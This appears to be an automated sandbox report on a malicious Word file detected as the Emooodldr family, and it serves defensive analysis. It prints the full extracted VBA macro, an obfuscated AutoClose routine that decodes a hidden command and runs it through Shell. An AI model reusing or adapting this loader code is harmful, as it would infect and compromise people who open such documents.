MALICIOUS
282
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1059 Command and Scripting Interpreter
The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. It contains VBA macros, specifically an AutoClose macro, which utilizes the Shell() function. The VBA code appears to deobfuscate and execute a command, likely to download and run a secondary payload, which is characteristic of the Emooodldr family.
Heuristics 6
-
ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2071 bytes |
SHA-256: b2f0054fb3c35e62bfaee84bcad6b9294887af06d0f00cf0a9663df8a7e48879 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function pottiness(superplease)
rier = Array("O", "3", "1", "Y", "2", "j", "F", "M", "H", "8", "L", "k", "W", "q", "l", "Z", "p", "r", "i", "a", "n", "R", "C", "7", "y")
exegesis = Array("c", "n", "d", "x", "t", "=", "p", " ", "m", "b", "u", "j", "?", "a", "/", "o", "e", "O", "i", "z", "s", ":", "h", ".", "U")
sinoper = vbNullString
For Each impassion In superplease
pentahedrons = Application.Run("alembroth", impassion, rier)
If pentahedrons > -1 And pentahedrons < 99212 Then
sinoper = exegesis(pentahedrons) + sinoper
End If
Next
pottiness = StrReverse(sinoper)
End Function
Public Function alembroth(whicken, paroxytonic)
pickietar = 81818
epitaxiesator = -1
For Each electromuscular In paroxytonic
If electromuscular = whicken Then
pickietar = epitaxiesator
Exit For
End If
epitaxiesator = epitaxiesator + 1
Next
If pickietar = 81818 Then
pickietar = -1
End If
alembroth = pickietar + 1
End Function
Sub AutoClose()
superplease = Array("H", "n", "C", "2", "q", "7", "p", "Y", "p", "M", "C", "2", "2", "F", "R", "l", "l", "Z", "q", "i", "k", "8", "L", "a", "Y", "O", "L", "3", "q", "n", "1", "k", "3", "7", "O", "Z", "H", "l", "r", "y", "l", "n", "H", "i", "Y", "7", "F", "C", "F", "W", "L", "2", "H", "q", "j", "3", "3", "i", "i", "q")
cojuror = pottiness(superplease)
Application.Run "maudlinize", (cojuror)
End Sub
Private Sub maudlinize(footer)
canioned = 69172
dibber = True
While dibber
relinquishes = canioned + 91723
If relinquishes - canioned > 297 Then
VBA.Shell footer, vbNormalFocus - 1
dibber = False
End If
Wend
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 11776 bytes |
SHA-256: f7478358e1e376a9ce8644862703971de16385798fb016be9428859fb5a0e30b |
|||
|
Detection
ClamAV:
Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.